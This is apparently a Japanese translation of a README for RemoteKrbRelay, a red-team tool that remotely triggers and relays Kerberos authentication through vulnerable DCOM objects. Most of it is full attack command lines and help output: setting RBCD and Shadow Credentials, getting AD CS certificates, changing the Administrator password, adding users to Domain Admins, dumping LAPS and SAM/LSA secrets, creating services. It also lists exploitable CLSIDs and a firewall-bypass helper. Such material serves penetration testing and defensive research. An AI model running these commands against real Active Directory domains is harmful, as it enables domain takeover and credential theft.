
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 リサーチチーム
Michael Zhmaylo (MzHmO) 作
KrbRelay や KrbRelayUp をご存知でしょうが、リモートからでも同じことができるとしたらどうでしょう? RemoteKrbRelay を使えばそれが現実になります。
CertifiedDCOM の詳細は こちら をご覧ください。CertifiedDCOM を使うと、ADCS マシンアカウントをトリガーできます:
# CertifiedDCOM(RBCD を設定して AD CS を悪用)
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
# CertifiedDCOM(ADCS を悪用してマシン証明書を取得)
.\RemoteKrbRelay.exe -adcs -template Machine -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
# CertifiedDCOM(ShadowCreds で ADCS を悪用)
.\RemoteKrbRelay.exe -shadowcred -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
SilverPotato エクスプロイトもあります。セッションを悪用するために使用できます。ドメイン管理者セッションがサードパーティのホスト上にある場合も含みます。
# ユーザーパスワード変更
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
# グループにユーザー追加
.\RemoteKrbRelay.exe -addgroupmember -victim computer.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -group "Domain Admins" -groupuser petka
# LAPS パスワードのダンプ
.\RemoteKrbRelay.exe -laps -victim mssql.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# リレーされたユーザーから LDAP Whoami 要求を送信
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# 別のセッションから認証をトリガー
.\RemoteKrbRelay.exe -ldapwhoami -victim domainadminhost.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
さて、目の前には4つのフォルダがあります:
Checker - 脆弱な DCOM オブジェクト検出用の旧バージョンチェッカーCheckerv2.0 - 脆弱な DCOM オブジェクト検出用の新バージョンチェッカーExploit - RemoteKrbRelay.exe :)FindAvailablePort - エクスプロイト使用時にファイアウォールをバイパスするためのツールでは、Checker から始めましょう。脆弱な DCOM オブジェクトを検出するために使用できます。脆弱な DCOM オブジェクトは以下の条件を満たすものとみなせます:
NT AUTHORITY\LOCAL SERVICE は不可。なぜなら、ネットワークからの認証に空の資格情報を使用するからです。RemoteLaunch、RemoteActivation のパーミッションが必要。これは LaunchPermissions です。RPC_C_IMP_LEVEL_IDENTIFY 以上でなければならない。RPC_C_IMP_LEVEL_IDENTIFY がデフォルト値です。RemoteAccess パーミッションが必要(または空でなければならない)。これは AccessPermission です。簡単に検出するには、Checkerv2.0 を使用してください。CSV および xlsx 形式での出力をサポートしています。
PS A:\ssd\Share\RemoteKrbRelay\Checkerv2.0\Checkerv2.0\bin\Debug> .\Checkerv2.0.exe -h
/\_/\____, /\ /\
,___/\_/\ \ ~ / \ _____\
\ ~ \ ) XXX (_)-(_)
XXX / /\_/\___, Checkerv2.0 Collection
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 リサーチチーム
Michael Zhmaylo (MzHmO) 作
Check.exe
脆弱な DCOM アプリケーションを見つけるための小さなツール
[オプション]
-outfile : 出力ファイル名
-outformat : 出力形式。'csv' または 'xlsx' を受け付けます
-showtable : xlsx テーブルが埋まったら表示します
-h/--help : このウィンドウを表示
例:
.\Checkerv2.0.exe -outfile win10 -outformat xlsx
すると、次のような出力が得られます:

カラムには、DCOM オブジェクトの CLSID、名前、LaunchPermission と AccessPermission が含まれます。

sppui(CLSID {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}、APPID {0868DC9B-D9A2-4f64-9362-133CEA201299})と CertSrv Request(CLSID {d99e6e74-fc88-11d0-b498-00a0c90312f3})オブジェクトを探して、なぜ脆弱なのかを理解してみてください。
Checker ではなく、Checkerv2.0 だけを使ってね :3
悪意のある DCOM サーバーを立ち上げるポートを見つけるための小さなツール。詳細は こちら(Remote -> Local Potato)を参照。

ローカルポートの概念を活用した練習。RemotePotato0 をローカルポートに書き換えてください。これは役に立ちます、間違いない。
エクスプロイトにはかなり多くの機能を追加しました。DCOM オブジェクトを悪用するための十分な機能を備えています。また、悪用に使えるいくつかの CLSID を Help にリストアップしました。これらの CLSID は公開されていましたが、悪用のための POC はありませんでした。脆弱な DCOM オブジェクトはかなりたくさんあります。チェッカーを使って、すべて見つけてください!
PS A:\ssd\Share\RemoteKrbRelay\Exploit\RemoteKrbRelay\bin\x64\Debug> .\RemoteKrbRelay.exe -h
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 リサーチチーム
Michael Zhmaylo (MzHmO) 作
[ヘルプパネル]
RemoteKrbRelay.exe
リモート Kerberos 認証を簡単にリレー
使い方: RemoteKrbRelay.exe [攻撃] [必須オプション] [任意パラメータ] [攻撃オプション] [スイッチ]
[攻撃] (いずれか必須)
-rbcd : LDAP にリレーして RBCD を設定
-adcs : HTTP Web 登録にリレーして証明書を取得
-smb : SMB にリレー
-shadowcred : LDAP にリレーして Shadow Credentials を設定
-chp : LDAP にリレーしてユーザーパスワードを変更
-addgroupmember : LDAP にリレーしてユーザーをグループに追加
-laps : LDAP にリレーして LAPS パスワードを抽出
-ldapwhoami : LDAP にリレーしてリレーされたユーザーの情報を取得
[必須オプション]
-target : リレー先のターゲット
-victim : このコンピュータをリレー
-clsid : 悪用するターゲット CLSID
[任意パラメータ]
-spn : この SPN のチケットを使って被害者がこちらに来ます。例: ldap/dc01.root.apchi - RBCD モード用の tkt、http/dc01.root.apchi - ADCS モード用の tkt
-d/--domain : 現在の (ターゲット) ドメイン
-dc/--domaincontoller : ターゲット DC
-local : 現在のコンピュータのホスト名。このホストが OBJREF に含まれます
[攻撃オプション]
[SMB オプション (SMB へのリレー)]
--smbkeyword : 'secrets' または 'service-add' または 'interactive' を指定
--servicename : service-add コマンドレット。新しいサービスの名前
--servicecmd : service-add コマンドレット。サービスのコマンドライン
[ADCS オプション (HTTP へのリレー)]
-template : ADCS モードのみ。リレー先のテンプレート
[RBCD オプション (LDAP へのリレー)]
-c/--create : 新しいコンピュータを作成
-cn/--computername : msDs-AllowedToActOnBehalfOfOtherIdentity に書き込まれるコンピュータ名
-cp/--computerpassword : -c スイッチが必要。新しいコンピュータのパスワード
--victimdn : 被害者コンピュータの DN
[パスワード変更オプション (LDAP へのリレー)]
-chpuser : パスワードを変更したいユーザーの名前
-chppass : 新しいパスワード
[グループメンバー追加オプション (LDAP へのリレー)]
-group : グループ名
-groupuser : グループに追加するユーザー
-groupdn : ターゲットグループの DN
-userdn : ターゲットユーザーの DN
[SHADOWCRED オプション (LDAP へのリレー)]
-forceshadowcred : shadow creds を強制
[LAPS オプション (LDAP へのリレー)]
-lapsdevice : 任意パラメータ。LAPS をダンプするターゲットコンピュータのホスト名
[スイッチ]
-h/--help : ヘルプを表示
-debug : デバッグ情報を表示
-secure : LDAP/HTTP などへの接続に SSL を使用
-p/--port : 悪意のある DCOM サーバーを展開するポート
-session : クロスセッションアクティベーション。RunAs 値が "The Interactive User" の COM オブジェクトをインスタンス化するときに便利
-module : デフォルトは "System"。ファイアウォールバイパス用
[例]
[1] adcs.root.apchi (-victim) から Kerberos 認証をトリガー。次に dc01.root.apchi (-target) にリレー。adcs.root.apchi から FAKEMACHINE$ (-cn) への RBCD を設定 (RBCD の設定には DC 上の LDAP への接続が必要なので、-dc を指定してもよい)。結果として、FAKEMACHINE$ から RBCD 経由で adcs.root.apchi を pwn できます。
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
[2] dc01.root.apchi (-victim) から krb 認証をトリガー。次に win10.root.apchi (-target) にリレーしてインタラクティブ SMB コンソールを開く。
.\RemoteKrbRelay.exe -smb --smbkeyword interactive -victim dc01.root.apchi -target win10.root.apchi -clsid <CLSID 不明>
[3] dc01.root.apchi (-victim) から krb 認証をトリガー。次に win10.root.apchi (-target) にリレーして win10.root.apchi から SAM/LSA シークレットをダンプ。
.\RemoteKrbRelay.exe -smb --smbkeyword secrets -victim dc01.root.apchi -target win10.root.apchi -clsid <CLSID 不明>
[4] dc01.root.apchi (-victim) から krb 認証をトリガー。次に win10.root.apchi (-target) にリレーしてサービスを作成。
.\RemoteKrbRelay.exe -smb --smbkeyword service-add --servicename Hello --servicecmd "c:\windows\system32\calc.exe" -victim dc01.root.apchi -target win10.root.apchi -clsid <CLSID 不明>
[5] Kerberos リレーからマシン証明書を取得
.\RemoteKrbRelay.exe -adcs -template Machine -target dc01.root.apchi -victim win10.root.apchi -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
[6] Shadow Creds
.\RemoteKrbRelay.exe -shadowcred -victim dc01.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
[7] ユーザーパスワード変更
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
[9] LAPS パスワードのダンプ
.\RemoteKrbRelay.exe -laps -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[10] リレーされたユーザーから LDAP Whoami 要求を送信
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[11] 別のセッションから認証をトリガー
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
[?] 使用するのに興味深い CLSID
dea794e0-1c1d-4363-b171-98d0b1703586 - インタラクティブユーザー。-session スイッチで使用可能。NT AUTHORITY\Interactive である必要があります。
f87b28f1-da9a-4f35-8ec0-800efcf26b83 - インタラクティブユーザー。-session スイッチで使用可能。Distributed COM Users または Performance Log Users である必要があります。
3ab092c4-de6a-4cd4-be9e-fdacdb05759c - システムアカウント。被害者コンピュータに AD CS がインストールされている必要があります。
6d5ad135-1730-4f19-a4eb-3f87e7c976bb - システムアカウント。被害者コンピュータに AD CS がインストールされている必要があります。
いくつかの攻撃を見てみましょう:
RBCD - LDAP にリレーして RBCD を設定。

HTTP ADCS - Web 登録サービスにリレー。

ShadowCred - LDAP にリレーして ShadowCreds を設定。

グループにユーザーを追加

LDAP Whoami 要求 - CLSID Bruteforce 機能と組み合わせると便利です。どのユーザーをトリガーしているかがわかります。ドメイン内のすべてのマシンで最初の5つのセッションをトリガーしてみてください。わあ、つまり5分でドメイン管理者ですか? :)

-session を使用したクロスセッションアクティベーションをサポート:


LAPS、ユーザーパスワード変更、smb なども。
ビデオデモ:
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.vostok.street -target dc01.vostok.street -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -local dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA
# しかし、初期 OXID Request からのリレーはまだ実装していません。やってみてください! :)
# dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA <- これは kali を指す DNS A レコードです(CredMarshalTargetInfo() のおかげで、RPCSS/dc01 の tkt を受け取れます)。
.\RemoteKrbRelay.exe -rbcd -victim win10.vostok.street -target dc01.vostok.street -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -spn krbtgt/root.apchi -cn FAKEMACHINE$
この脆弱性は非常に深刻です。これは最小限の POC であることに注意してください。Red Team プロジェクトで安定して使用したい場合は、改良する必要があります。
CertifiedDCOM と SilverPotato の POC を公開してくれてありがとう。それらの記事を基に作るのに夢中になっていました :D